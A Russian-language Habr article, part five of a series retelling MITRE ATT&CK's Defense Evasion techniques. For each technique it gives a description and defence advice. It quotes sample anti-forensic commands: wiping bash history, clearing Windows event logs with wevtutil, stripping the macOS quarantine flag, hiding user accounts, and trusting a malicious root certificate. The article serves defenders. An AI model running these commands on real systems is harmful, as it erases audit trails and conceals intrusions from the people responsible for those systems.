Изучаем Adversarial Tactics, Techniques & Common Knowledge (ATT@CK). Enterprise Tactics. Часть 5

habr.com/ru/articles/432624

Андрей Макеев

Обход защиты (Defense Evasion)

Ссылки на все части:

В разделе «Обход защиты» описываются техники, с помощью которых злоумышленник может скрыть вредоносную активность и предотвратить своё обнаружение средствами защиты. Различные вариации техник из других разделов цепочки атаки, которые помогают преодолеть специфические средства защиты и превентивные меры, предпринятые защищающейся стороной, включены в техники обхода защиты. В свою очередь, техники обхода защиты применяются во всех фазах атаки.

Автор не несет ответственности за возможные последствия применения изложенной в статье информации, а также просит прощения за возможные неточности, допущенные в некоторых формулировках и терминах. Публикуемая информация является свободным пересказом содержания MITRE ATT&CK.

Манипулирование маркерами доступа (Access Token Manipulation)

Система: Windows
Права: Пользователь, администратор
Описание: Злоумышленники могут использовать маркеры доступа (Access Token), чтобы совершать свои действия в различных пользовательских или системных контекстах безопасности, таким образом, избегая обнаружения вредоносной активности. Противник может использовать функции Windows API для копирования маркеров доступа из существующих процессов (Token stealing), для этого он должен находиться в контексте привилегированного пользователя (например, администратора). Кража маркеров доступа обычно используется для повышения привилегий с уровня администратора до уровня System. Противник также может использовать маркер доступа учетной записи для аутентификации в удаленной системе, если у этой учетной записи есть нужные разрешения в удаленной системе. Существует три основных способа злоупотребления маркерами доступа.

Кража и олицетворение токенов.
Олицетворение токенов — это способность ОС запускать потоки в контексте безопасности, отличном от контекста процесса, которому принадлежит этот поток. Другими словами, олицетворение токенов позволяет совершать какие-либо действия от имени другого пользователя. Противник может создать дубликат маркера доступа с помощью функции *DuplicateTokenEX* и использовать *ImpersonateLoggedOnUser*, чтобы вызвать поток в контексте залогиненного пользователя или использовать *SetThreadToken*, чтобы назначить маркер доступа в поток.

Создание процесса с помощью маркера доступа.
Злоумышленник может создавать маркер доступа с помощью функции *DuplicateTokenEX* и далее использовать его с *CreateProcessWithTokenW* для создания нового процесса, работающего в контексте олицетворяемого пользователя.

Получение и олицетворение маркеров доступа.
Противник, имея логин и пароль пользователя, может создать сеанс входа в систему с помощью API-функции *LogonUser*, которая вернёт копию сессионного маркера доступа нового сеанса, и далее, с помощью функции

SetThreadToken, назначить полученный маркер потоку.
Metasploit Meterpreter и *CobaltStrike* имеют инструментарий для манипуляций с маркерами доступа с целью повышения привилегий.

Рекомендации по защите: Чтобы в полной мере использовать вышеописанную тактику злоумышленник должен обладать правами администратора системы, поэтому не забывайте ограничивать привилегии обычных пользователей. Любой пользователь может обмануть маркеры доступа если у него есть легитимные учетные данные. Ограничьте возможность создания пользователями и группами маркеров доступа:

GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object.

Так же определите, кто может заменять маркеры процессов локальных или сетевых служб:
GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.

Создание заданий BITS (BITS Jobs)

Система: Windows
Права: Пользователь, Администратор, System
Описание: Windows Background Intelligent Transfer Service (BITS) — это механизм асинхронной передачи файлов через Component Object Model (COM) с использованием низкой пропускной способности. BITS обычно используется программами обновления, мессенджерами и другими приложениями, предпочитающими работать в фоновом режиме без прерывания работы других сетевых приложений. Задачи по передаче файлов представляются как BITS-задания, которые содержат очередь из одной или нескольких операций с файлами. Интерфейс для создания и управления BITS-заданиями доступен в PowerShell и BITSAdmin tool. Злоумышленники могут использовать BITS для загрузки, запуска и последующей очистки после выполнения вредоносного кода. BITS-задания автономно хранятся в базе данных BITS, при этом в системе не создаются новые файлы или записи в реестре, зачастую BITS разрешен брандмауэром. С помощью BITS-заданий можно закрепиться в системе, создавая длительные задания (по умолчанию 90 дней) или вызывая произвольную программу после завершения BITS-задания или ошибки (в том числе после перезагрузки ОС).

Рекомендации по защите: BITS — стандартный функционал ОС, использование которого трудно отличить от вредоносной активности, поэтому вектор защиты нужно направлять на предотвращение запуска инструментов злоумышленника в начале цепочки атаки. Полное отключение BITS может привести к прекращению обновления законного ПО, однако можно рассмотреть возможность ограничения доступа к интерфейсу BITS для конкретных пользователей и групп доступа, так же можно ограничить время жизни BITS-заданий, которое задается с помощью изменения следующих ключей:

- *HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS\JobInactivityTimeout;*
- *HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS\MaxDownloadTime*.

Набивка бинарников данными (Binary Padding)

Система: Windows, Linux, macOS
Описание: Некоторые средства безопасности выполняют сканирование файлов путём поиска статических сигнатур. Противники могут добавлять данные во вредоносные файлы, чтобы увеличить их объем до значения превышающего максимально допустимый размер сканируемого файла или изменять хэш файла, чтобы обойти черные списки блокировки запуска файлов по хэшам.

Рекомендации по защите: Обеспечьте идентификацию потенциально-опасного ПО путем применения таких средств как *AppLocker*, whitelisting-инструментов и политик ограничения ПО.

Обход контроля учетных записей (Bypass User Account Control)

Система: Windows
Права: Пользователь, администратор
Описание: Известно множество способов обхода UAC, самые распространенные из которых реализованы в проекте UACMe. Регулярно обнаруживаются новые способы обхода UAC, подобные злоупотреблению системным

приложением eventvwr.exe, которое может выполнить бинарный файл или скрипт с повышенными правами. Вредоносные программы также могут быть внедрены в доверенные процессы, которым UAC разрешает повышение привилегий не запрашивая пользователя.

Для обхода UAC с помощью eventvwr.exe в реестре Windows модифицируется ключ:
[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell \open\command.

Для обхода UAC с помощью sdclt.exe в реестре Windows модифицируются ключи:
[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe;
[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand.

Рекомендации по защите: Удаляйте пользователей из локальной группы администраторов в защищаемых системах. По возможности включите в параметрах UAC наивысший уровень защиты.

CMSTP (AppLocker ByPass — CMSTP)

Система: Windows
Права: Пользователь
Описание: Microsoft Connection Manager Profile Installer (cmstp.exe) — это встроенная в Windows утилита «Установщик профилей диспетчера подключений». Cmstp.exe может принимать в качестве параметра inf-файл, поэтому злоумышленник может подготовить специальный вредоносный INF для загрузки и выполнения DLL или скриптлетов (*.sct) с удаленных серверов в обход AppLocker и других блокировок, поскольку cmstp.exe подписан цифровым сертификатом Microsoft.

Рекомендации по защите: Блокирование запуска потенциально-опасных приложений. Мониторинг или полное блокирование запусков *C:\Windows\System32\cmstp.exe*.

Очистка истории команд (Clear Command History)

Система: Linux, macOS
Права: Пользователь
Описание: Для удобства пользователей в системах macOS и Linux ведется журналирование всех команд, выполняемых пользователем в терминале. Пользователи могут быстро исполнить команду, выполненную им ранее в другом сеансе. При входе пользователя в систему история команд сохраняется в файл, который указан в переменной HISTFILE. Когда пользователь выходит из системы, то история команд сохраняется в домашний каталог пользователя ~/.bash_history. Файл с историей команд может также содержать и пароли, введенные пользователем открытым текстом. Злоумышленники могут как искать пароли в файлах истории команд, так и применять меры по предотвращению записи в историю команд своей вредоносной активности, например:

```
unset HISTFILE;
export HISTFILESIZE=0;
history -c;
rm ~/.bash_history.
```

Рекомендации по защите: Предотвращение возможности удаления или записи пользователями файлов bash_history может помешать противнику злоупотреблять этими файлами, кроме того, ограничение прав пользователей на редактирование переменных HISTFILE и HISTFILESIZE обеспечит сохранение журнала выполнения команд.

Подписание кода (Code Signing)

Система: Windows, macOS
Описание: Цифровая подпись кода обеспечивает аутентификацию разработчика и гарантию того, что файл не был изменён. Тем не менее, как известно, противники могут использовать подписи для маскировки вредоносного ПО под легитимные двоичные файлы. Сертификаты для цифровой подписи могут быть созданы, подделаны или украдены злоумышленником. Подписание кода для проверки ПО при первом запуске используется в ОС Windows, macOS, OS X и не используется в Linux из-за децентрализованной структуры платформы. Сертификаты подписи кода могут использоваться для обхода политик безопасности, которые требуют, чтобы в системе выполнялся только подписанный код.

Рекомендации по защите: Применение «белых списков» ПО и выбор надежных издателей ПО до проверки цифровой подписи могут предотвратить выполнение вредоносного или ненадежного кода в защищаемой системе.

Прошивка компонентов (Component Firmware)

Система: Windows
Права: System
Описание: Некоторые злоумышленники могут применять сложные средства для компрометации компонентов компьютера и установки на них вредоносной прошивки, которая будет запускать вредоносный код вне операционной системы или даже главной системной прошивки (Bios). Техника заключается в прошивке компонентов компьютера, которые не имеют встроенной системы проверки целостности, например, жестких дисков. Устройство с вредоносной прошивкой может обеспечивать постоянный доступ к атакуемой системе несмотря на сбои и перезапись жесткого диска. Техника рассчитана на преодоление программной защиты и контроля целостности.

Перехват ссылок и связей COM (Component Object Model Hijacking)

Система: Windows
Права: Пользователь
Описание: Microsoft Component Object Model (COM) — это технология создания ПО на основе взаимодействующих компонентов объекта, каждый из которых может использоваться во многих программах одновременно. Злоумышленники могут использовать COM для вставки вредоносного кода, который может быть выполнен вместо легитимного через захват COM-ссылок и связей. Для перехвата COM-объекта необходимо заменить в реестре Windows ссылку на легитимный системный компонент. При дальнейшем вызове этого компонента будет выполняться вредоносный код.

Рекомендации по защите: Превентивные меры предотвращения данной атаки не рекомендуются, поскольку COM-объекты являются частью ОС и установленного в системе ПО. Блокировка изменений COM-объектов может влиять на стабильность работы ОС и ПО. Вектор защиты рекомендуется направить на блокирование вредоносного и потенциально-опасного ПО.

Элементы панели управления (Windows Control Panel Items)

Система: Windows
Права: Пользователь, администратор, System
Описание: Тактика заключается в использовании злоумышленниками элементов панели управления Windows для выполнения в качестве полезной нагрузки произвольных команд (например, вирус *Reaver*). Вредоносные объекты могут быть замаскированы под стандартные элементы управления и доставлены в систему с помощью фишинговых вложений. Служебные программы для просмотра и настройки параметров Windows представляют собой зарегистрированные exe-файлы и CPL-файлы элементов панели управления Windows. CPL-файлы фактически являются переименованными DLL-библиотеками, которые можно запускать следующими способами:

- непосредственно из командной строки: *control.exe <file.cpl>*;
- с помощью API-функций из shell32.dll: *rundll32.exe shell32.dll,Control_RunDLL <file.cpl>*;
- двойным щелчком мыши по cpl-файлу.

Зарегистрированные CPL, хранящиеся в System32, автоматически отображаются в Панели управления Windows и имеют уникальный идентификатор, хранящийся в реестре:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace

Сведения о других CPL, например, отображаемое имя и путь к cpl-файлу хранятся в подразделах *«Cpls»* и *«Extended Properties»* раздела:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel

Некоторые CPL, запускаемые через командную оболочку, зарегистрированы в разделе:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\shellex\PropertySheetHandlers

Рекомендация по защите: Ограничение запуска и хранения файлов элементов панели управления только в защищенных папках (например, *C:\Windows\System32*), включение контроля учетных записей (UAC) и AppLocker для предотвращения несанкционированных изменений в системе. Само собой, применение антивирусного ПО.

DCShadow

Система: Windows
Права: Администратор
*Описание:*DCShadow предполагает создание в атакуемой сети поддельного контроллера домена с помощью которого, используя для взаимодействия с атакуемым КД функционал API, злоумышленник может изменить данные AD, включая изменения любого объекта домена, учетные данные и ключи оставаясь незамеченным для SIEM-систем. Инструментарий для реализации атаки входит в состав mimikatz. DCShadow может использоваться для выполнения атаки SID-History injection и для создания бэкдоров с целью дальнейшего закрепления в системе.

Рекомендации по защите: Учитывая, что техника DCShadow основана на злоупотреблении конструктивными особенностями AD, вектор защиты необходимо направлять на недопущение запуска инструментов реализации атаки. Обнаружить атаку можно путём анализа сетевого трафика репликации КД, которая выполняется каждые 15 минут, но может быть вызвана злоумышленником вне расписания.

Перехват поиска DLL (DLL Search Order Hijacking)

Система: Windows
Права: Пользователь, Администратор, System
Описание: Техника заключается в эксплуатации уязвимостей алгоритма поиска приложениями файлов DLL, необходимых им для работы (MSA2269637). Зачастую директорией поиска DLL является рабочий каталог программы, поэтому злоумышленники могут подменять исходную DLL на вредоносную с тем же именем файла.

Удаленные атаки на поиск DLL могут проводиться когда программа устанавливает свой текущий каталог в удаленной директории, например, сетевую шару. Также злоумышленники могут напрямую менять способ поиска и загрузки DLL заменяя файлы .manifest или .local, в которых описываются параметры поиска DLL. Если атакуемая программа работает с высоким уровнем привилегий, то подгруженная ею вредоносная DLL также будет выполняться с высокими правами. В этом случае техника может использоваться для повышения привилегий от пользователя до администратора или System.

Рекомендации по защите: Запрет удаленной загрузки DLL (включено по умолчанию в Windows Server 2012+ и доступно с обновлениями для XP+ и Server 2003+). Включение безопасного режима поиска DLL, который ограничит каталоги поиска директориями типа *%SYSTEMROOT%* до выполнения поиска DLL в текущей директории приложения.

Включение режима безопасного поиска DLL:
Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode.
Соответствующий ключ реестра:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode.

Рассмотрите целесообразность аудита защищаемой системы для устранения недостатков DLL с помощью таких инструментов как модуль PowerUP в PowerSploit. Не забывайте про блокировку вредоносного и потенциально-опасного ПО, а так же выполнение рекомендаций Microsoft.

Боковая загрузка DLL (DLL Side-Loading)

Система: Windows
Описание: Атака основывается на уязвимостях технологии параллельного выполнения Side-by-Side (WinSxS или SxS), суть которой заключается в обеспечении возможности выполнения приложений использующих несовместимые версии одних и тех же компонентов кода. Хранилище сборок компонентов расположено в папке c:\windows\winsxs. Каждая сборка должна иметь связанный с ней манифест — xml-файл, содержащий сведения о файлах, классах, интерфейсах, библиотеках и других элементах сборки. Подобно техникам захвата поиска DLL, противники могут спровоцировать пользовательское приложение на «боковую» загрузку вредоносной DLL, путь к которой был указан в файле манифеста сборки.

%TEMP%\RarSFX%\%ALLUSERS PROFILE%\SXS;
%TEMP%\RarSFX%\%ALLUSERS PROFILE%\WinSxS.

Рекомендации по защите: Регулярное обновление ПО, установка приложений в директории защищенные от записи. Использование программы sxstrace.exe для проведения проверок файлов манифестов на предмет наличия в них уязвимостей боковой загрузки.

Деобфускация/дешифровка файлов или информации (Deobfuscate/Decode Files or Information)

Система: Windows
Права: Пользователь
Описание: Злоумышленники могут использовать обфускацию файлов и информации для скрытия вредоносного кода и артефактов, оставшихся от вторжения. Для использования таких файлов противники применяют обратные техники деобфускации/декодирования файлов или информации. Такие методы могут предполагать использование вредоносного ПО, различных сценариев или системных утилит, например, известен способ применения утилиты certutil для декодирования исполняемого файла инструмента удаленного доступа, скрываемого внутри файла сертификата. Другой пример — это применение команды copy /b для сбора двоичных фрагментов во вредоносную полезную нагрузку (Payload).

Payload-файлы могут быть сжаты, заархивированы или зашифрованы во избежание обнаружения. Иногда, для выполнения деобфускации или дешифрования может потребоваться действие пользователя (User execution). Пользователю может потребоваться ввести пароль для открытия сжатого или зашифрованного файла или сценария с вредоносным содержимым.

Рекомендации по защите: Идентификация и блокирование ненужных системных утилит или потенциально-опасного ПО, которое может использоваться для деобфускации или дешифрования файлов с помощью таких инструментов как AppLocker и политик ограниченного использования софта.

Отключение средств защиты (Disabling Security Tools)

Система: Windows, Linux, macOS
Описание: Злоумышленники могут отключать различные средства безопасности, уничтожать процессы журналирования событий, ключи реестра, чтобы средства безопасности не запускались во время вредоносной активности, или применять иные способы вмешательства в работу сканеров безопасности или отчеты о событиях.

Рекомендации по защите: Обеспечьте корректную настройку прав доступа к процессам, реестру и файлам, чтобы предотвратить несанкционированное отключение или вмешательство в работу средств безопасности.

Эксплуатация уязвимостей средств защиты (Exploitation for Defense Evasion)

Система: Windows, Linux, macOS
Права: Пользователь
Описание: Как и в любом софте программные средства безопасности могут иметь уязвимости, которые могут использоваться злоумышленником для их отключения или обхода.

Рекомендации по защите: Регулярное обновление ПО, разработка и внедрение процесса управления уязвимостями ПО. Применение средств виртуализации и микросегментации приложений может снизить риски возможной эксплуатации уязвимостей.

EWM-инъекции (Extra Window Memory Injection)

Система: Windows
Права: Администратор, System
Описание: Техника заключается в злоупотреблении дополнительной памятью окна Windows, так называемой Extra Window Memory (EWM). Размер EWM — 40 байт, подходит для хранения 32-битного указателя и часто используется для указания ссылки на процедуры. Вредоносные программы в ходе цепочки атаки, могут размещать в EWM указатель на вредоносный код, который в последствие будет запущен процессом инфицированного приложения.

Рекомендации по защите: Учитывая, что техники EWM-инъекций основаны на злоупотреблении функциями разработки ОС усилия по защите необходимо направить на предотвращение запуска вредоносных программ и инструментов злоумышленников. Хорошей практикой является выявление и блокирование потенциально-опасного ПО с помощью AppLocker, организации белого списка приложений или применения политик ограничения программного обеспечения Software Restriction Policies.

Удаление файлов (File Deletion)

Система: Windows, Linux, macOS
Права: Пользователь
Описание: Различные инструменты, вредоносное ПО и другие файлы, используемые противником могут оставлять следы хакерской деятельности в системе. Злоумышленники могут удалять эти файлы-артефакты в ходе вторжения, чтобы снизить вероятность обнаружения атаки или удалить их в конце своей операции. Противник может использовать как специальные инструменты гарантированного уничтожения информации (например, Windows Sysinternals Sdelete), так и средства, встроенные в ОС, например DEL и Cipher.

Рекомендации по защите: По возможности, заблокируйте запуск ненужных системных утилит, сторонних инструментов и потенциально-опасного ПО, которое может быть использовано для уничтожения файлов.

Чтение файлов с помощью логических смещений файловой системы (File System Logical Offsets)

Система: Windows
Права: Администратор
Описание: Windows может разрешать программам осуществлять прямой доступ к логическим томам. Программы с прямым доступом могут читать и записывать файлы непосредственно на жестком диске, анализирую структуры данных файловой системы. Этот метод обходит средства контроля доступа к файлам и мониторинга файловой системы. Утилиты типа NinjaCopy служат для выполнения вышеописанных действий в PowerShell.

Рекомендации по защите: Блокирование потенциально-опасного ПО.

Обход Gatekeeper (Gatekeeper Bypass)

Система: macOS
Права: Пользователь, администратор
Описание: В macOS и OS X применяется технология Gatekeper, которая обеспечивает запуск только доверенного ПО. При загрузке приложения из интернета в файле com.apple.quarantine устанавливается специальный атрибут, который указывает, что Gatekeeper должен запросить у пользователя разрешение на выполнение загруженного файла. Флаг устанавливается перед сохранением файла на диск, затем когда пользователь пытается открыть файл Gatekeeper проверяет наличие соответствующего флага и если таковой есть, то система предложит пользователю подтвердить запуск и покажет URL, с которого был загружен файл. Приложения, загруженные в систему с USB-накопителя, оптического, детского или сетевого диска не вызовут установку флага в файле com.apple.quarantine. Некоторые утилиты и файлы, попавшие в атакуемую систему в ходе теневой загрузки (техника Drive-by-compromise), также не вызывают установку флага для Gatekeeper, таким образом обходя проверку доверенности. Наличие флага карантина можно проверить командой: *xattr /path/to/MyApp.app*.

Флаг можно также удалить с помощью attr, но это потребует повышения привилегий:
sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app

Рекомендации по защите: В дополнение к Gatekeeper следует использовать запрет на запуск приложений загруженных не из AppleStore.

Переменная HISTCONTROL

Система: Linux, macOS
Права: Пользователь
Описание: Переменная окружения HISTCONTROL представляет список параметров сохранения истории команд в файл ~/.bash_history при выходе пользователя из системы. Например, опция ignorespace указывает, что не нужно сохранять строки начинающиеся с пробела, а опция ignoredups отключит сохранение повторяющихся подряд

команд. В некоторых системах Linux по умолчанию указана опция ignoreboth, которая подразумевает включение двух вышеуказанных параметров. Это означает, что команда " ls" не будет сохранена в истории в отличие от «ls ».

HISTCONTROL не используется по умолчанию в macOS, но может быть настроена пользователем. Злоумышленники могут использовать особенности параметров HISTCONTROL, чтобы не оставлять следов своей деятельности просто вставляя пробелы перед командами.

Рекомендации по защите: Запретите пользователям изменять переменную HISTCONTROL, кроме того убедитесь, что HISTCONTROL имеет значение ignoredup и не содержит опций ignoreboth и ignorespace.

Скрытые файлы и папки (Hidden Files and Directories)

Система: Windows, Linux, macOS
Права: Пользователь
Описание: В Windows пользователи могут скрывать файлы с помощью команды attrib. Достаточно указать атрибут *+h <имя файла>*, чтобы скрыть файл или "+s", чтобы отметить файл как системный. Добавив параметр "/S" утилита attrib применит изменения рекурсивно. В Linux/Mac пользователи могут скрывать файлы и папки просто указав в начале имени файла символ ".". После этого файлы и папки будут скрыты от приложения Finder и таких как утилита ls.

В macOS файлы могут быть отмечены флагом UF_HIDDEN, который включит запрет на их видимость в Finder.app, но не запретит видеть скрытые файлы в Terminal.app. Многие приложения создают скрытые файлы и папки, чтобы не загромождать рабочее пространство пользователя. Например, утилиты SSH создают скрытую папку .ssh, в которой хранится список известных хостов и ключи пользователя.

Злоумышленники могут использовать возможность скрытия файлов и папок, чтобы не привлекать внимания пользователей.

Рекомендации по защите: Предотвращение возможности использования данной техники затруднено в силу того что скрытие файлов — это штатная функция ОС.

Скрытые пользователи (Hidden Users)

Система: macOS
Права: Администратор, root
Описание: Каждая учетная запись в macOS имеет идентификатор userID, который можно указать в процессе создания пользователя. В свойствах */Library/Preferences/com.apple.loginwindow* есть опция *Hide500Users*, которая скрывает пользователей с идентификаторами 500 и ниже с экрана входа. Таким образом, создав пользователя с идентификатором <500 и включив Hide500Users злоумышленник может скрыть свои учетные записи:

sudo dscl. -create /User/username UniqueID 401
sudo defaults write /Library/Preferences/com.apple.loginwindow Hide500Users -bool TRUE

Рекомендации по защите: Если рабочая станция находится в домене, то групповая политика может ограничить возможность создания и скрытия пользователей. Аналогично, предотвращается возможность модификации свойств /Library/Preferences/com.apple.loginwindow.

Скрытые окна (Hidden Window)

Система: macOS
Права: Пользователь
Описание: Параметры запуска приложений в macOS и OS X перечислены в plist-файлах свойств. Один из тэгов в этих файлах apple.awt.UIElement включает скрытие значка Java-приложения с панели Dock. Обычно этот тэг используется для приложений, работающих в системном трее, однако злоумышленники могут злоупотреблять этой возможностью и скрывать вредоносные приложения.

Рекомендации по защите: Контролируйте список программ, которые имеют в plist-свойствах тэг apple.awt.UIElement.

IFEO-инъекции (Image File Execution Options Injection)

Система: Windows
Права: Администратор, System
Описание: Механизм Image File Execution Options (IFEO) позволяет запускать вместо программы её отладчик, заранее указанный разработчиком в реестре:

- *HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/[executable]*
- *HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ [executable]*, где *[executable]* — это исполняемый двоичный файл отладчика.

Подобно инъекциям, значением *[executable]* можно злоупотреблять запуская произвольный код, чтобы повысить привилегии или закрепиться в системе. Вредоносные программы могут использовать IFEO на для обхода защиты, регистрируя отладчики, которые перенаправляют и отклоняют различные системные приложения и приложения безопасности.

Рекомендации по защите: Описываемая техника основана на злоупотреблении штатными средствами разработки ОС, поэтому какие-либо ограничения могут вызвать нестабильность работы законного ПО, например, приложений безопасности. Усилия по предотвращению применения техники IFEO-инъекций необходимо сосредоточить на более ранних этапах цепочки атаки. Обнаружить подобную атаку можно с помощью мониторинга процессов с флагами *Debug_process* и *Debug_only_this_process*.

Блокирование индикаторов (Indicator Blocking)

Система: Windows
Описание: Злоумышленники могут пытаться заблокировать различные индикаторы или события, захватываемые средствами безопасности для дальнейшего анализа. Вредоносная активность может включать изменение файлов конфигураций средств безопасности, ключей реестра или злонамеренное перенаправление событий телеметрии.

Имея дело со средствами анализа сетевой активности злоумышленник может заблокировать трафик, связанный с отправкой отчетов на сервер управления системы защиты. Это может выполняться многими способами, например, остановкой локального процесса, ответственного за передачу телеметрии, создания правила в брандмауэре для блокирования трафика к хостам, ответственным за агрегацию событий безопасности.

Рекомендации по защите: Убедитесь, что трассировщики и отправители событий, политики брандмауэра и другие связанные с ними механизмы защищены соответствующими разрешениями и средствами управления доступом. Рассмотрите возможность автоматического перезапуска средств пересылки событий безопасности через повторяющиеся интервалы времени, а также возможность применения соответствующего управления изменениями к правилам брандмауэра и другим системным конфигурациям.

Удаление индикаторов из вредоносных инструментов (Indicator Removal from Tools)

Система: Windows, Linux, macOS
Описание: Если вредоносное приложение помещено в карантин или заблокировано иным образом, то злоумышленник может определить причину обнаружения своего инструмента (индикатор), изменить инструмент, удалив из него индикатор, и использовать обновленную версию вредоноса, которая не будет обнаруживаться защитными средствами. Хорошим примером является обнаружение вредоносных программ с помощью контрольной суммы или сигнатуры файлов и помещение их в карантин антивирусным ПО. Злоумышленник определив, что вредоносная программа была помещена антивирусным ПО в карантин из-за своей сигнатуры/ контрольной суммы, может использовать техники упаковки ПО или иные способы модификации файла с целью изменения сигнатуры или контрольной суммы, а затем повторно использовать это вредоносное ПО.

Рекомендации по защите: Противник может иметь доступ к системе и знать какие методы и инструменты блокируются резидентной защитой. Применяйте передовые методы настройки средств защиты и обеспечения безопасности, исследуйте процесс возможной компрометации защищаемой системы с целью организации процесса оповещения о возможном вторжении.

Выявляйте и блокируйте потенциально-опасное и вредоносное ПО с помощью средств организации белых списков приложений, таких как AppLocker и политик ограниченного использования программ.

Первое обнаружение вредоносного средства может вызвать оповещение антивирусной системы или другого средства безопасности. Такие события могут происходить на границе периметра и выявляться с помощью IDS-системы, сканирования почты и т.п. Первоначальное обнаружение должно рассматриваться как признак начала вторжения, который требует тщательного исследования за пределами «места» начального события. Злоумышленники могут продолжить атаку, предполагая, что отдельные события антивирусного ПО не будут расследоваться или что аналитик не сможет окончательно связать зарегистрированное событие с другой активностью, происходящей в сети.

Удаление индикаторов с хоста (Indicator Removal on Host)

Система: Windows, Linux, macOS
Описание: Злоумышленники могут удалять или изменять артефакты, сгенерированные в атакуемой системе, включая журналы и перехваченные файлы, помещенные в карантин. Местоположения и формат журналов могут различаться в зависимости от ОС, системные журналы записываются как Windows Event или файлы Linux/macOS, такие как /.bash_history и .var/log/*.

Целенаправленные действия, препятствующие работе механизмов сбора событий и оповещения, которые могли быть использованы для обнаружения вторжения, могут компрометировать средства безопасности, в результате чего события безопасности не будут проанализированы. Такие действия могут затруднить проведение экспертизы и процесс реагирования из-за недостатка данных о произошедшем вторжении.

Очистка журналов Windows Event Logs
Windows Event Logs — это запись предупреждений и уведомлений и работе системы. Microsoft определяет событие как «любое существенное событие в системе или программе, требующее уведомления пользователей или записи в журнал». Существует три системных источника событий: система, приложения и безопасность.
Противники, выполняющие действия, связанные с управлением учетными записями, входом в учетную запись, доступом к службам каталогов и т.п. могут очищать журнал событий, чтобы скрыть свои действия.
Журналы событий можно очистить следующими консольными утилитами:
wevtutil cl system;
wevtutil cl application;
wevtutil cl security.
Журналы также могут быть очищены с помощью других средств, таких как PowerShell.

Рекомендации по защите: Применяйте средства централизованного хранения журналов событий, чтобы на локальной машине было невозможно просматривать и управлять журналами событий. При возможности минимизируйте временную задержку при составлении отчетов о событиях, чтобы избежать длительного хранения журналов в локальной системе. Защищайте файлы журналов событий, хранящихся локально, с помощью надлежащих разрешений и аутентификации, ограничивайте возможность противников повышать привилегии. Применяйте средства обфускации и шифрования файлов журналов при хранении локально и в процессе передачи. Проводите мониторинг журналов на предмет наличия события 1102: «Журнал аудита был удален».

Непрямое выполнение команд (Indirect Command Execution)

Система: Windows
Права: Пользователь
Описание: Для выполнения команд могут использоваться различные служебные программы Windows, возможно без вызова cmd. Например, Forfiles, помощник по совместимости программ (pcalua.exe), компоненты подсистемы Windows для Linux (WSL), а так же другие утилиты могут вызвать выполнение программ и команд из интерфейса командной строки, окна «Выполнить» или через скрипты.

Злоумышленники могут злоупотреблять вышеописанными утилитами в целях обхода средств защиты, в частности для произвольного запуска файлов пока их активность не будет обнаружена или заблокирована различными средствами, например, с помощью групповых политик, запрещающих использование CMD.

Рекомендации по защите: Идентифицируйте и блокируйте потенциально-опасное и вредоносное ПО с помощью AppLocker и политик ограничения ПО. Эти механизмы могут использоваться для отключения или ограничения доступа пользователей к утилитам, которые можно использовать для непрямого выполнения команд.

Установка корневого сертификата (Install Root Certificate)

Система: Windows, Linux, macOS
Права: Администратор, пользователь
Описание: Корневые сертификаты используются для идентификации центра сертификации (CA). Когда корневой сертификат установлен, то система и приложения будут доверять всем сертификатам в цепочке корневого сертификата. Сертификаты обычно используются для установки безопасных TLS/SSL соединений в веб-браузере. Если пользователь пытается открыть сайт на котором представлен недоверенный сертификат, то появится сообщение об ошибке, которое предупреждает пользователя об угрозе безопасности. В зависимости от настроек безопасности браузер может запрещать соединения с недоверенными сайтами.

Установка корневого сертификата в атакуемой системе позволяют злоумышленнику снизить общий уровень безопасности системы. Злоумышленники могут использовать этот метод, чтобы скрыть предупреждения системы безопасности в результате чего пользователь подключится через HTTPS к контролируемым противником веб-серверам, чтобы украсть его учетные данные.
Посторонние корневые сертификаты также могут предварительно устанавливаться изготовителем программного обеспечения или в ходе цепочки поставок ПО и использоваться совместно с вредоносным и рекламным ПО или для обеспечения возможности атаки «человек по середине» в целях перехвата информации, передаваемой через безопасные соединения TLS/SSL.
Корневые сертификаты так же могут быть клонированы и переустановлены. такие цепочки сертификатов могут использоваться для подписи вредоносного кода с целью обхода средств проверки подписи, используемых для блокирования и обнаружения вторжений.

В macOS вредоносное ПО Ay MaMi использует команду */usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System/keychain path/to/malicious/cert* для установки сертификата в качестве надежного корневого сертификата в системную цепочку.

Рекомендации по защите: HTTP Public Key Pinning (HPKP) — это один из способов защиты от атак на цепочку сертификатов. HPKP предполагает, что сервер сообщает клиенту набор хэшей открытых ключей, которые должны быть единственными доверенными при подключении к этому серверу в течение заданного времени.

Групповая политика Windows может использоваться для управления корневыми сертификатами и включения запрета установки дополнительных корневых сертификатов не администраторами в пользовательские хранилища (HKCU):

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots\Flags = 1.

Корневые сертификаты системы вряд ли будут часто меняться, поэтому в ходе мониторинга новых сертификатов можно выявить злонамеренную деятельность или убедиться в отсутствии ненужных или подозрительных сертификатов. Microsoft предоставляет список надежных корневых сертификатов через authroot.stl. Утилита Sysinternals Sigcheck может использоваться для сброса содержимого хранилища сертификатов (Sigcheck[64].exe -tuv) и выявления сертификатов не включенных в список Microsoft Certificate Trust List.

Установленные корневые сертификаты находятся в реестре в разделах:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates
